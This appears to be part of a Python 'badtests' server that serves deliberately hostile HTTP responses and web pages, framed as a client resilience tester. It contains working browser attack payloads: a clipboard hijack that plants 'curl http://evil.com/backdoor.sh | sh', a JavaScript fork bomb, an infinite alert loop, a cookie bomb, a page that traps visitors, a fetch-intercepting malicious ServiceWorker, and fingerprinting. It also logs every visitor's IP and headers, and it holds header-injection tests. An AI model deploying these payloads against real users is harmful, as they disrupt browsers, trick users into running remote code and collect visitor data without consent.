('/html-irc-title', 'Title with \\r\\nQUIT :reason injection', '🚨 CRITICAL: IRC protocol injection via HTML title. If an IRC bot fetches and relays this title, the QUIT/PRIVMSG could be injected into the IRC stream.'),
|
||||
('/html-unicode', 'Random unicode (U+1000 to U+3000) title and body', 'Title and body filled with random Myanmar, Ethiopic, Devanagari, CJK chars. Different every request.'),
|
||||
('/html-meta-refresh', 'Meta refresh loop (0 second)', '⚠️ WARNING: Page reloads itself every 0 seconds via meta tag. Infinite reload loop. Browser tab goes crazy.'),
|
||||
|
||||
# --- Terminal Abuses ---
|
||||
('/ansi-chaos', 'ANSI escape code nightmare', '⚠️ WARNING: Clears screen, hides cursor, changes window title, blink text, random cursor positioning. Will wreck your terminal.'),
|
||||
|
||||
# --- JavaScript Browser Abuses ---
|
||||
('/js-alert', 'Infinite alert() loop', '⚠️ WARNING: Opens alert dialogs in an infinite loop. Browser tab becomes unresponsive. Must force-kill tab.'),
|
||||
('/js-history', 'History flood (50,000 entries)', '⚠️ WARNING: Pushes 50,000 entries to browser history. Back button becomes useless. Browser may lag.'),
|
||||
('/js-download', 'Download bomb (200 files)', '⚠️ WARNING: Triggers 200 simultaneous file downloads via Blob URLs. Browser download manager explodes.'),
|
||||
('/js-clipboard', 'Clipboard hijack', '🚨 CRITICAL: Silently replaces clipboard content with a malicious shell command every 100ms. Paste at your own risk.'),
|
||||
('/js-forkbomb', 'JavaScript fork bomb', '⚠️ WARNING: Spawns infinite Web Workers and recursive iframes. CPU/RAM will spike. Browser may crash.'),
|
||||
('/js-webgl', 'WebGL GPU killer', '⚠️ WARNING: Runs an extremely heavy fragment shader in a tight render loop. GPU usage spikes to 100%. May freeze display.'),
|
||||
('/js-audio', 'Audio oscillator hell', '⚠️ WARNING: Creates 20 oscillators at random frequencies changing 10x per second at max volume. Extremely loud.'),
|
||||
('/js-popup', 'Popup storm (100 windows)', '⚠️ WARNING: Attempts to open 100 popup windows at random positions. Most browsers block after the first.'),
|
||||
('/js-cookie', 'Cookie bomb (3000 cookies)', '🚨 CRITICAL: Sets 3000 cookies. Future requests to this server include ~12MB of Cookie headers. May DoS the server.'),
|
||||
('/js-beforeunload', 'Unescapable page (beforeunload)', '⚠️ WARNING: Traps you with a beforeunload dialog every time you try to leave. Also opens itself in new tabs.'),
|
||||
('/js-serviceworker', 'ServiceWorker hijack', '🚨 CRITICAL: Registers a ServiceWorker that intercepts ALL future requests to this origin and injects content.'),
|
||||
|
||||
# --- Image/File Abuses ---
|
||||
('/img-bait', 'Image bait-and-switch', 'Shows a green "SAFE" image on the page. Download link gives you a red "HACKED" image. Same server, different file.'),
|
||||
('/img-svg-xss', 'SVG with embedded JavaScript', '🚨 CRITICAL: Serves an SVG image with an embedded <script> tag. If rendered as image/svg+xml, JS executes. XSS via image file.'),
|
||||
('/img-polyglot', 'GIF/JS polyglot file', '🚨 CRITICAL: Valid GIF89a image that is also valid JavaScript. Can be loaded as both <img> and <script>.'),
|
||||
|
||||
# --- Network Abuses ---
|
||||
('/net-gzip-bomb', 'Gzip bomb (~10KB → 10MB)', '⚠️ WARNING: ~10KB gzip response that decompresses to 10MB of zeros. Clients with auto-decompress will allocate 10MB.'),
|
||||
('/net-event-flood', 'SSE event flood (infinite)', '⚠️ WARNING: Server-Sent Events stream that fires events as fast as possible forever. EventSource will buffer infinitely.'),
|
||||
('/net-mime-sniff', 'MIME type confusion (JS as image/jpeg)', '🚨 CRITICAL: Serves JavaScript code with Content-Type: image/jpeg. If browser MIME-sniffs, the JS executes. Tests X-Content-Type-Options enforcement.'),
|
||||
('/net-cache-poison', 'Contradicting cache headers', 'Every cache header contradicts every other: no-cache + max-age=999999, public + private, future Last-Modified, wildcard Vary.'),
|
||||
('/net-hsts-bomb', 'HSTS with insane max-age', '🚨 CRITICAL: Sets Strict-Transport-Security with max-age=999999999 and includeSubDomains. Browser will force HTTPS for 31 years.'),
|
||||
|
||||
# --- Miscellaneous ---
|
||||
('/misc-ipv4', 'Shows your connecting IPv4 address', 'Reflects the client IP from the TCP connection. Use -4 flag with curl to force IPv4.'),
|
||||
('/misc-ipv6', 'Shows your connecting IPv6 address', 'Reflects the client IP. Server must be reachable over IPv6. Connect to [::1] for loopback IPv6.'),
|
||||
('/fingerprint', 'Browser fingerprinting demo', 'Collects and displays 25+ browser fingerprinting vectors: canvas, WebGL, fonts, timezone, CPU, memory, touch, audio, etc.'),
|
||||
]
|
||||
|
||||
CATEGORIES = [
|
||||
('Content-Length Abuses', '/cl-'),
|
||||
('Content-Type Abuses', '/ct-'),
|
||||
('Status Code Abuses', '/status-'),
|
||||
('Header Abuses', '/hdr-'),
|
||||
('Body Abuses', '/body-'),
|
||||
('Transfer-Encoding Abuses', '/te-'),
|
||||
('Protocol Abuses', '/proto-'),
|
||||
('Encoding Abuses', '/enc-'),
|
||||
('Redirect Abuses', '/redir-'),
|
||||
('Timing Abuses', '/slow-'),
|
||||
('HTML/Content Abuses', '/html-'),
|
||||
('Terminal Abuses', '/ansi-'),
|
||||
('JavaScript Browser Abuses','/js-'),
|
||||
('Image/File Abuses', '/img-'),
|
||||
('Network Abuses', '/net-'),
|
||||
('Miscellaneous', '/misc-'),
|
||||
('Special Pages', '/fingerprint'),
|
||||
]
|
||||
|
||||
def build_index():
|
||||
h = '''<!DOCTYPE html>
|
||||
<html><head>
|
||||
<meta charset="utf-8">
|
||||
<title>☠ badtests — HTTP response abuse tester</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{background:#0d1117;color:#c9d1d9;font-family:'SF Mono',Consolas,'Liberation Mono',Menlo,monospace;font-size:14px;line-height:1.6;padding:20px 40px}
|
||||
h1{color:#f85149;font-size:24px;margin-bottom:4px}
|
||||
h1 span{font-size:14px;color:#484f58;font-weight:normal}
|
||||
h2{color:#58a6ff;font-size:18px;margin:30px 0 12px;padding-bottom:6px;border-bottom:1px solid #21262d}
|
||||
.desc{color:#8b949e;font-size:13px;margin-bottom:20px}
|
||||
.card{background:#161b22;border:1px solid #30363d;border-radius:6px;padding:16px;margin-bottom:16px}
|
||||
.card:hover{border-color:#58a6ff}
|
||||
.card h3{margin:0 0 4px}
|
||||
.card h3 a{color:#58a6ff;text-decoration:none}
|
||||
.card h3 a:hover{text-decoration:underline}
|
||||
.card .note{color:#8b949e;font-size:13px;margin-bottom:10px}
|
||||
.critical .note{color:#f85149}
|
||||
.label{display:inline-block;font-size:11px;padding:1px 6px;border-radius:10px;margin-left:8px;vertical-align:middle}
|
||||
.label-crit{background:#f8514922;color:#f85149;border:1px solid #f85149}
|
||||
.label-warn{background:#d2992222;color:#d29922;border:1px solid #d29922}
|
||||
code{color:#e6edf3}
|
||||
.special{margin:20px 0;padding:12px 16px;background:#161b22;border:1px solid #f85149;border-radius:6px}
|
||||
.special a{color:#f85149;font-weight:bold;text-decoration:none}
|
||||
.special a:hover{text-decoration:underline}
|
||||
footer{margin-top:40px;padding-top:16px;border-top:1px solid #21262d;color:#484f58;font-size:12px}
|
||||
</style>
|
||||
</head><body>
|
||||
<h1>☠ badtests <span>— malicious HTTP response server</span></h1>
|
||||
<p class="desc">Each endpoint returns a deliberately malformed HTTP response to test client resilience.<br>
|
||||
Click any endpoint to hit it directly.</p>
|
||||
<div class="special">📋 <a href="/logs">/logs</a> — View all visitor IPs, user agents, headers, and timestamps</div>
|
||||
'''
|
||||
for cat_name, prefix in CATEGORIES:
|
||||
tests_in_cat = [t for t in TESTS if t[0].startswith(prefix)]
|
||||
if not tests_in_cat:
|
||||
continue
|
||||
h += f'<h2>{html.escape(cat_name)}</h2>\n'
|
||||
for path, title, desc in tests_in_cat:
|
||||
crit = '🚨' in desc
|
||||
warn = '⚠️' in desc
|
||||
cls = ' critical' if crit else ''
|
||||
label = ''
|
||||
if crit:
|
||||
label = '<span class="label label-crit">CRITICAL</span>'
|
||||
elif warn:
|
||||
label = '<span class="label label-warn">WARNING</span>'
|
||||
h += f'''<div class="card{cls}">
|
||||
<h3><a href="{html.escape(path)}">{html.escape(path)}</a> — {html.escape(title)}{label}</h3>
|
||||
<div class="note">{html.escape(desc)}</div>
|
||||
</div>
|
||||
'''
|
||||
h += f'''<footer>
|
||||
☠ badtests — {len(TESTS)} endpoints on port {PORT}<br>
|
||||
python3 badtests.py to start
|
||||
</footer>
|
||||
</body></html>'''
|
||||
return h.encode()
|
||||
|
||||
|
||||
# --- JavaScript page payloads ---
|
||||
JS_ALERT = b'''<!DOCTYPE html><html><head><title>alert() loop</title></head><body>
|
||||
<h1>Infinite alert() loop</h1><p>You cannot dismiss this.</p>
|
||||
<script>while(true)alert('You cannot close me. Attempt #'+Math.random().toString(36))</script>
|
||||
</body></html>'''
|
||||
|
||||
JS_HISTORY = b'''<!DOCTYPE html><html><head><title>History flood</title></head><body>
|
||||
<h1>Injecting 50,000 history entries...</h1><p id="s"></p>
|
||||
<script>
|
||||
let n=50000;for(let i=0;i<n;i++)history.pushState({},'','/history-flood-'+i);
|
||||
document.getElementById('s').textContent='Done. '+n+' entries pushed. Your back button is dead.';
|
||||
document.title='50,000 history entries - try pressing back';
|
||||
</script></body></html>'''
|
||||
|
||||
JS_DOWNLOAD = b'''<!DOCTYPE html><html><head><title>Download bomb</title></head><body>
|
||||
<h1>Triggering 200 simultaneous downloads...</h1>
|
||||
<script>
|
||||
for(let i=0;i<200;i++){let a=document.createElement('a');
|
||||
a.href=URL.createObjectURL(new Blob(['MALSERV_PAYLOAD_'+i+'_'+Math.random()]));
|
||||
a.download='malserv_payload_'+i+'.txt';document.body.appendChild(a);a.click();}
|
||||
</script></body></html>'''
|
||||
|
||||
JS_CLIPBOARD = b'''<!DOCTYPE html><html><head><title>Clipboard hijack</title></head><body>
|
||||
<h1>Your clipboard has been hijacked</h1>
|
||||
<p>Every 100ms your clipboard is overwritten. Try pasting somewhere.</p>
|
||||
<p style="color:red;font-family:monospace;font-size:18px">curl http://evil.com/backdoor.sh | sh</p>
|
||||
<script>
|
||||
setInterval(()=>{try{navigator.clipboard.writeText('curl http://evil.com/backdoor.sh | sh')}catch(e){
|
||||
document.execCommand&&(document.oncopy=function(e){e.clipboardData.setData('text/plain','curl http://evil.com/backdoor.sh | sh');e.preventDefault()})
|
||||
}},100);
|
||||
</script></body></html>'''
|
||||
|
||||
JS_FORKBOMB = b'''<!DOCTYPE html><html><head><title>Fork bomb</title></head><body>
|
||||
<h1>Fork bomb activated</h1><p id="c">Workers: 0 | Iframes: 0</p>
|
||||
<script>
|
||||
let wc=0,ic=0;
|
||||
function boom(){
|
||||
try{let w=new Worker(URL.createObjectURL(new Blob(
|
||||
['let x=0;setInterval(()=>{for(let i=0;i<1e6;i++)x+=Math.random();postMessage(x)},1)'],
|
||||
{type:'application/javascript'})));wc++;w.onmessage=()=>{}}catch(e){}
|
||||
let f=document.createElement('iframe');f.src='about:blank';f.style.display='none';
|
||||
document.body.appendChild(f);ic++;
|
||||
try{f.contentWindow.document.write('<script>setInterval(()=>{for(let i=0;i<1e6;i++)Math.random()},1)<\\/script>')}catch(e){}
|
||||
document.getElementById('c').textContent='Workers: '+wc+' | Iframes: '+ic;
|
||||
setTimeout(boom,50);
|
||||
}
|
||||
boom();
|
||||
</script></body></html>'''
|
||||
|
||||
JS_WEBGL = b'''<!DOCTYPE html><html><head><title>WebGL GPU killer</title></head><body>
|
||||
<h1>WebGL GPU stress test</h1>
|
||||
<canvas id="c" width="1920" height="1080" style="width:100%;height:80vh"></canvas>
|
||||
<script>
|
||||
let gl=document.getElementById('c').getContext('webgl');
|
||||
if(!gl){document.body.innerHTML='<h1>WebGL not supported</h1>';}else{
|
||||
let vs=gl.createShader(gl.VERTEX_SHADER);
|
||||
gl.shaderSource(vs,'attribute vec4 p;void main(){gl_Position=p;}');
|
||||
gl.compileShader(vs);
|
||||
let fs=gl.createShader(gl.FRAGMENT_SHADER);
|
||||
gl.shaderSource(fs,`precision highp float;
|
||||
uniform float t;
|
||||
void main(){
|
||||
float x=gl_FragCoord.x/1920.0,y=gl_FragCoord.y/1080.0,v=0.0;
|
||||
for(int i=0;i<5000;i++){
|
||||
v+=sin(x*float(i)*0.01+t)*cos(y*float(i)*0.01+t*0.7);
|
||||
v+=tan(v*0.001)*0.001;
|
||||
}
|
||||
gl_FragColor=vec4(sin(v),cos(v*0.5),sin(v*0.3+t),1.0);
|
||||
}`);
|
||||
gl.compileShader(fs);
|
||||
let prog=gl.createProgram();gl.attachShader(prog,vs);gl.attachShader(prog,fs);gl.linkProgram(prog);gl.useProgram(prog);
|
||||
let buf=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,buf);
|
||||
gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([-1,-1,1,-1,-1,1,1,1]),gl.STATIC_DRAW);
|
||||
let p=gl.getAttribLocation(prog,'p');gl.enableVertexAttribArray(p);gl.vertexAttribPointer(p,2,gl.FLOAT,false,0,0);
|
||||
let tl=gl.getUniformLocation(prog,'t');
|
||||
let start=Date.now();
|
||||
function render(){gl.uniform1f(tl,(Date.now()-start)/1000);gl.drawArrays(gl.TRIANGLE_STRIP,0,4);requestAnimationFrame(render);}
|
||||
render();
|
||||
}
|
||||
</script></body></html>'''
|
||||
|
||||
JS_AUDIO = b'''<!DOCTYPE html><html><head><title>Audio hell</title></head><body>
|
||||
<h1>Audio Oscillator Hell</h1><p>20 oscillators at random frequencies. Click anywhere to start (autoplay policy).</p>
|
||||
<script>
|
||||
document.addEventListener('click',function start(){
|
||||
document.removeEventListener('click',start);
|
||||
let ctx=new(window.AudioContext||window.webkitAudioContext)();
|
||||
for(let i=0;i<20;i++){
|
||||
let o=ctx.createOscillator(),g=ctx.createGain();
|
||||
o.type=['sine','square','sawtooth','triangle'][i%4];
|
||||
o.frequency.value=100+Math.random()*15000;
|
||||
g.gain.value=0.15;
|
||||
o.connect(g);g.connect(ctx.destination);o.start();
|
||||
setInterval(()=>{o.frequency.value=100+Math.random()*15000;},50+Math.random()*200);
|
||||
}
|
||||
document.querySelector('h1').textContent='AUDIO HELL ACTIVE - 20 OSCILLATORS';
|
||||
document.querySelector('h1').style.color='red';
|
||||
});
|
||||
</script></body></html>'''
|
||||
|
||||
JS_POPUP = b'''<!DOCTYPE html><html><head><title>Popup storm</title></head><body>
|
||||
<h1>Popup Storm</h1><p id="s">Attempting to open 100 popup windows...</p>
|
||||
<script>
|
||||
let opened=0,blocked=0;
|
||||
for(let i=0;i<100;i++){
|
||||
let w=window.open('about:blank','popup_'+i,'width=150,height=100,left='+Math.floor(Math.random()*screen.width)+',top='+Math.floor(Math.random()*screen.height));
|
||||
if(w){opened++;try{w.document.write('<body style=background:hsl('+i*3.6+',100%,50%)><h3>'+i+'</h3>')}catch(e){}}else{blocked++;}
|
||||
}
|
||||
document.getElementById('s').textContent='Opened: '+opened+' | Blocked: '+blocked;
|
||||
</script></body></html>'''
|
||||
|
||||
JS_COOKIE = b'''<!DOCTYPE html><html><head><title>Cookie bomb</title></head><body>
|
||||
<h1>Cookie Bomb</h1><p id="s">Setting cookies...</p>
|
||||
<script>
|
||||
let n=0;
|
||||
for(let i=0;i<3000;i++){
|
||||
try{document.cookie='bomb_'+i+'='+'X'.repeat(4000)+';path=/';n++;}catch(e){break;}
|
||||
}
|
||||
document.getElementById('s').innerHTML='<strong style=color:red>'+n+' cookies set!</strong><br>'+
|
||||
'Your next request to this server will include ~'+Math.round(n*4/1024)+'KB of Cookie headers.<br>'+
|
||||
'To clear: open DevTools > Application > Cookies > Delete all';
|
||||
</script></body></html>'''
|
||||
|
||||
JS_BEFOREUNLOAD = b'''<!DOCTYPE html><html><head><title>You can never leave</title></head><body>
|
||||
<h1 style="color:red">You can never leave this page</h1>
|
||||
<p>Every attempt to close or navigate away triggers a confirmation dialog.</p>
|
||||
<p>Also opening copies of itself in new tabs every 3 seconds.</p>
|
||||
<script>
|
||||
window.onbeforeunload=function(e){e.preventDefault();return e.returnValue='Are you sure you want to leave?';};
|
||||
setInterval(()=>{document.title='TRAPPED - '+new Date().toLocaleTimeString();},1000);
|
||||
let tabCount=0;
|
||||
setInterval(()=>{if(tabCount<5){try{window.open(location.href);tabCount++;}catch(e){}}},3000);
|
||||
</script></body></html>'''
|
||||
|
||||
JS_SERVICEWORKER = '''<!DOCTYPE html><html><head><title>ServiceWorker hijack</title></head><body>
|
||||
<h1>ServiceWorker Registration</h1><p id="s">Attempting to register ServiceWorker...</p>
|
||||
<script>
|
||||
if('serviceWorker' in navigator){
|
||||
navigator.serviceWorker.register('/sw.js').then(r=>{
|
||||
document.getElementById('s').innerHTML='<span style=color:red>ServiceWorker registered! Scope: '+r.scope+'</span><br>All future fetches to this origin will be intercepted.';
|
||||
}).catch(e=>{document.getElementById('s').textContent='Failed: '+e.message;});
|
||||
}else{document.getElementById('s').textContent='ServiceWorker not supported';}
|
||||
</script></body></html>'''.encode()
|
||||
|
||||
SW_JS = b'''// Malicious ServiceWorker - intercepts all fetches
|
||||
self.addEventListener('install', e => self.skipWaiting());
|
||||
self.addEventListener('activate', e => e.waitUntil(clients.claim()));
|
||||
self.addEventListener('fetch', e => {
|
||||
if(e.request.url.includes('/sw.js')) return;
|
||||
e.respondWith(
|
||||
fetch(e.request).then(r => {
|
||||
if(r.headers.get('content-type')?.includes('text/html')){
|
||||
return r.text().then(body =>
|
||||
new Response(body + '<div style="position:fixed;bottom:0;left:0;right:0;background:red;color:white;padding:8px;text-align:center;z-index:999999;font-family:monospace">INTERCEPTED BY MALICIOUS SERVICEWORKER</div>', {headers:r.headers})
|
||||
);
|
||||
}
|
||||
return r;
|
||||
}).catch(() => new Response('ServiceWorker intercepted and blocked this request', {status:200}))
|
||||
);
|
||||
});'''
|
||||
|
||||
FINGERPRINT_HTML = b'''<!DOCTYPE html><html><head><meta charset="utf-8">
|
||||
<title>Browser Fingerprint</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{background:#0d1117;color:#c9d1d9;font-family:monospace;padding:20px 40px;font-size:14px}
|
||||
h1{color:#f85149;margin-bottom:20px}
|
||||
table{border-collapse:collapse;width:100%}
|
||||
td{padding:6px 12px;border-bottom:1px solid #21262d}
|
||||
td:first-child{color:#58a6ff;width:250px;font-weight:bold}
|
||||
td:last-child{color:#7ee787;word-break:break-all}
|
||||
canvas{display:none}
|
||||
</style></head><body>
|
||||
<h1>Browser Fingerprint</h1>
|
||||
<table id="t"></table>
|
||||
<canvas id="cv" width="200" height="50"></canvas>
|
||||
<script>
|
||||
let t=document.getElementById('t');
|
||||
function add(k,v){let r=t.insertRow();r.insertCell().textContent=k;r.insertCell().textContent=String(v);}
|
||||
add('User Agent',navigator.userAgent);
|
||||
add('Platform',navigator.platform);
|
||||
add('Language',navigator.language);
|
||||
add('Languages',navigator.languages?.join(', '));
|
||||
add('Timezone',Intl.DateTimeFormat().resolvedOptions().timeZone);
|
||||
add('Timezone Offset',new Date().getTimezoneOffset()+' min');
|
||||
add('Screen',screen.width+'x'+screen.height+' @'+devicePixelRatio+'x');
|
||||
add('Available Screen',screen.availWidth+'x'+screen.availHeight);
|
||||
add('Color Depth',screen.colorDepth+' bit');
|
||||
add('CPU Cores',navigator.hardwareConcurrency);
|
||||
add('Memory (GB)',navigator.deviceMemory||'N/A');
|
||||
add('Max Touch Points',navigator.maxTouchPoints);
|
||||
add('Cookies Enabled',navigator.cookieEnabled);
|
||||
add('Do Not Track',navigator.doNotTrack);
|
||||
add('Online',navigator.onLine);
|
||||
add('PDF Viewer',navigator.pdfViewerEnabled);
|
||||
add('Webdriver',navigator.webdriver);
|
||||
add('Connection Type',navigator.connection?.effectiveType||'N/A');
|
||||
add('Downlink',navigator.connection?.downlink||'N/A');
|
||||
try{let cv=document.getElementById('cv'),cx=cv.getContext('2d');
|
||||
cx.textBaseline='top';cx.font='14px Arial';cx.fillStyle='#f60';cx.fillRect(0,0,200,50);
|
||||
cx.fillStyle='#069';cx.fillText('Browser fingerprint!',2,15);
|
||||
cx.fillStyle='rgba(102,204,0,0.7)';cx.fillText('Canvas test',4,30);
|
||||
add('Canvas Hash',cv.toDataURL().slice(0,80)+'...');}catch(e){add('Canvas','Error: '+e);}
|
||||
try{let c=document.createElement('canvas'),g=c.getContext('webgl')||c.getContext('experimental-webgl');
|
||||
if(g){add('WebGL Vendor',g.getParameter(g.VENDOR));
|
||||
add('WebGL Renderer',g.getParameter(g.RENDERER));
|
||||
let d=g.getExtension('WEBGL_debug_renderer_info');
|
||||
if(d){add('GPU Vendor',g.getParameter(d.UNMASKED_VENDOR_WEBGL));
|
||||
add('GPU Renderer',g.getParameter(d.UNMASKED_RENDERER_WEBGL));}
|
||||
add('WebGL Version',g.getParameter(g.VERSION));
|
||||
add('Shading Language',g.getParameter(g.SHADING_LANGUAGE_VERSION));
|
||||
add('Max Texture Size',g.getParameter(g.MAX_TEXTURE_SIZE));
|
||||
}}catch(e){add('WebGL','Error: '+e);}
|
||||
try{let actx=new(window.AudioContext||window.webkitAudioContext)();
|
||||
add('Audio Sample Rate',actx.sampleRate);
|
||||
add('Audio State',actx.state);actx.close();}catch(e){add('Audio','Error: '+e);}
|
||||
add('Local Storage',typeof localStorage!=='undefined');
|
||||
add('Session Storage',typeof sessionStorage!=='undefined');
|
||||
add('IndexedDB',typeof indexedDB!=='undefined');
|
||||
add('ServiceWorker','serviceWorker' in navigator);
|
||||
add('WebRTC',typeof RTCPeerConnection!=='undefined');
|
||||
let plugins=[];for(let i=0;i<navigator.plugins.length;i++)plugins.push(navigator.plugins[i].name);
|
||||
add('Plugins',plugins.join(', ')||'None');
|
||||
add('MIME Types',navigator.mimeTypes.length);
|
||||
</script></body></html>'''
|
||||
|
||||
LOGS_STYLE = '''<!DOCTYPE html><html><head><meta charset="utf-8">
|
||||
<title>☠ badtests — visitor logs</title>
|
||||
<style>
|
||||
*{margin:0;padding:0;box-sizing:border-box}
|
||||
body{background:#0d1117;color:#c9d1d9;font-family:monospace;font-size:13px;padding:20px 40px}
|
||||
h1{color:#f85149;margin-bottom:4px}
|
||||
.sub{color:#484f58;margin-bottom:20px;font-size:12px}
|
||||
table{border-collapse:collapse;width:100%}
|
||||
th{text-align:left;color:#58a6ff;padding:8px;border-bottom:2px solid #30363d;position:sticky;top:0;background:#0d1117}
|
||||
td{padding:6px 8px;border-bottom:1px solid #161b22;max-width:400px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
|
||||
tr:hover td{background:#161b22}
|
||||
.ip{color:#7ee787}.path{color:#d2a8ff}.method{color:#d29922}.time{color:#484f58}
|
||||
details{cursor:pointer}
|
||||
details pre{background:#161b22;padding:8px;margin-top:4px;border-radius:4px;white-space:pre-wrap;max-height:200px;overflow:auto}
|
||||
</style></head><body>
|
||||
<h1>☠ visitor logs</h1>
|
||||
<p class="sub">Recording all requests. %d entries so far. <a href="/logs" style="color:#58a6ff">Refresh</a> | <a href="/" style="color:#58a6ff">Home</a></p>
|
||||
<table><tr><th>Time</th><th>IP</th><th>Method</th><th>Path</th><th>User-Agent</th><th>Headers</th></tr>
|
||||
%s
|
||||
</table></body></html>'''
|
||||
|
||||
# --- MIME sniff test page (wraps the payload endpoint) ---
|
||||
MIME_SNIFF_PAGE = b'''<!DOCTYPE html><html><head><title>MIME Sniff Test</title></head><body>
|
||||
<h1>MIME Sniffing Test</h1>
|
||||
<p>This page includes a <script> tag pointing to <code>/net-mime-sniff?payload=1</code>,
|
||||
which serves JavaScript with <code>Content-Type: image/jpeg</code>.</p>
|
||||
<p>If your browser MIME-sniffs, the JS will execute and you'll see an alert.</p>
|
||||
<p id="result" style="font-size:24px;color:red"></p>
|
||||
<script src="/net-mime-sniff?payload=1"></script>
|
||||
</body></html>'''
|
||||
|
||||
|
||||
class Handler(http.server.BaseHTTPRequestHandler):
|
||||
_index = build_index()
|
||||
_routes = {t[0]: t for t in TESTS}
|
||||
|
||||
def do_GET(self):
|
||||
p = self.path.split('?')[0]
|
||||
self._log_visit()
|
||||
if p == '/':
|
||||
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, self._index)
|
||||
elif p == '/logs':
|
||||
self._serve_logs()
|
||||
elif p == '/sw.js':
|
||||
self._r(200, {'Content-Type': 'application/javascript', 'Service-Worker-Allowed': '/'}, SW_JS)
|
||||
elif p == '/img-bait-view':
|
||||
self._r(200, {'Content-Type': 'image/svg+xml'}, SAFE_SVG)
|
||||
elif p == '/img-bait-download':
|
||||
self._r(200, {'Content-Type': 'image/svg+xml', 'Content-Disposition': 'attachment; filename="totally_safe.svg"'}, EVIL_SVG)
|
||||
elif p in self._routes:
|
||||
self._dispatch(p)
|
||||
else:
|
||||
self._r(404, {'Content-Type': 'text/plain'}, b'not found')
|
||||
|
||||
do_POST = do_HEAD = do_PUT = do_DELETE = do_GET
|
||||
|
||||
def _log_visit(self):
|
||||
headers = {}
|
||||
for k in self.headers:
|
||||
headers[k] = self.headers[k]
|
||||
entry = {
|
||||
'time': time.strftime('%Y-%m-%d %H:%M:%S'),
|
||||
'ip': self.client_address[0],
|
||||
'method': self.command,
|
||||
'path': self.path,
|
||||
'ua': self.headers.get('User-Agent', ''),
|
||||
'headers': headers,
|
||||
}
|
||||
with LOG_LOCK:
|
||||
VISITOR_LOG.append(entry)
|
||||
|
||||
def _serve_logs(self):
|
||||
with LOG_LOCK:
|
||||
entries = list(reversed(VISITOR_LOG))
|
||||
rows = ''
|
||||
for e in entries[:500]:
|
||||
hdrs_str = '\n'.join(f'{k}: {v}' for k, v in e['headers'].items())
|
||||
rows += f'''<tr>
|
||||
<td class="time">{html.escape(e['time'])}</td>
|
||||
<td class="ip">{html.escape(e['ip'])}</td>
|
||||
<td class="method">{html.escape(e['method'])}</td>
|
||||
<td class="path">{html.escape(e['path'])}</td>
|
||||
<td>{html.escape(e['ua'][:80])}</td>
|
||||
<td><details><summary>{len(e['headers'])} headers</summary><pre>{html.escape(hdrs_str)}</pre></details></td>
|
||||
</tr>'''
|
||||
page = (LOGS_STYLE % (len(VISITOR_LOG), rows)).encode()
|
||||
self._r(200, {'Content-Type': 'text/html; charset=utf-8'}, page)
|
||||
|
||||
def _dispatch(self, path):
|
||||
try:
|
||||
self._dispatch_inner(path)
|
||||
except Exception as e:
|
||||
try:
|
||||
self.wfile.write(b'HTTP/1.1 500 Internal Server Error\r\nContent-Length: 3\r\n\r\nerr')
|
||||
self.wfile.flush()
|
||||
except:
|
||||
pass
|
||||
|
||||
def _dispatch_inner(self, path):
|
||||
p = path
|
||||
# --- Content-Length abuses ---
|
||||
if p == '/cl-word': self._r(200, {'Content-Length': 'banana'}, b'hello')
|
||||
elif p == '/cl-empty': self._r(200, {'Content-Length': ''}, b'hello')
|
||||
elif p == '/cl-negative': self._r(200, {'Content-Length': '-99999999999999999'}, b'hello')
|
||||
elif p == '/cl-huge': self._r(200, {'Content-Length': '99999999999999999'}, b'tiny')
|
||||
elif p == '/cl-zero': self._r(200, {'Content-Length': '0'}, b'surprise!')
|
||||
elif p == '/cl-float': self._r(200, {'Content-Length': '3.14159'}, b'hello')
|
||||
elif p == '/cl-hex': self._r(200, {'Content-Length': '0xDEAD'}, b'hello')
|
||||
elif p == '/cl-null': self._r(200, {'Content-Length': '5\x00'}, b'hello')
|
||||
elif p == '/cl-negative-one': self._r(200, {'Content-Length': '-1'}, b'hello')
|
||||
elif p == '/cl-nan': self._r(200, {'Content-Length': 'NaN'}, b'hello')
|
||||
elif p == '/cl-inf': self._r(200, {'Content-Length': 'Infinity'}, b'hello')
|
||||
elif p == '/cl-mismatch': self._r(200, {'Content-Length': '1'}, b'this is way more than one byte')
|
||||
# --- Content-Type abuses ---
|
||||
elif p == '/ct-garbage': self._r(200, {'Content-Type': ''.join(random.choices(string.printable, k=200))}, b'hello')
|
||||
elif p == '/ct-multi': self._r(200, {'Content-Type': 'text/html, application/json, image/png, text/xml, application/octet-stream'}, b'what am i?')
|
||||
elif p == '/ct-empty': self._r(200, {'Content-Type': ''}, b'hello')
|
||||
elif p == '/ct-null': self._r(200, {'Content-Type': 'text/\x00html'}, b'hello')
|
||||
elif p == '/ct-emoji': self._raw('HTTP/1.1 200 OK\r\nContent-Type: 💀/🔥\r\nContent-Length: 5\r\n\r\nhello'.encode())
|
||||
elif p == '/ct-mega': self._r(200, {'Content-Type': 'text/' + 'A'*10000}, b'hello')
|
||||
elif p == '/ct-crlf': self._r(200, {'Content-Type': 'text/html\r\nX-Injected: true'}, b'hello')
|
||||
elif p == '/ct-semicolon':self._r(200, {'Content-Type': 'text/html' + ';charset=utf-8'*50}, b'hello')
|
||||
# --- Status code abuses ---
|
||||
elif p == '/status-neg': self._raw(b'HTTP/1.1 -1 BROKEN\r\nContent-Length: 5\r\n\r\nhello')
|
||||
elif p == '/status-zero': self._raw(b'HTTP/1.1 0 NOTHING\r\nContent-Length: 5\r\n\r\nhello')
|
||||
elif p == '/status-999': self._r(999, {}, b'hello')
|
||||
elif p == '/status-huge': self._raw(b'HTTP/1.1 99999 WAY TOO BIG\r\nContent-Length: 5\r\n\r\nhello')
|
||||
elif p == '/status-word': self._raw(b'HTTP/1.1 BANANA OK\r\nContent-Length: 5\r\n\r\nhello')
|
||||
# --- Header abuses ---
|
||||
elif p == '/hdr-mega-name': self._r(200, {'X-'+'A'*65536: 'val'}, b'hello')
|
||||
elif p == '/hdr-mega-val': self._r(200, {'X-Big': 'B'*1048576}, b'hello')
|
||||
elif p == '/hdr-1000': self._r(200, {f'X-H{i}': str(i) for i in range(1000)}, b'hello')
|
||||
elif p == '/hdr-empty-name': self._raw(b'HTTP/1.1 200 OK\r\n: empty_name\r\nContent-Length: 5\r\n\r\nhello')
|
||||
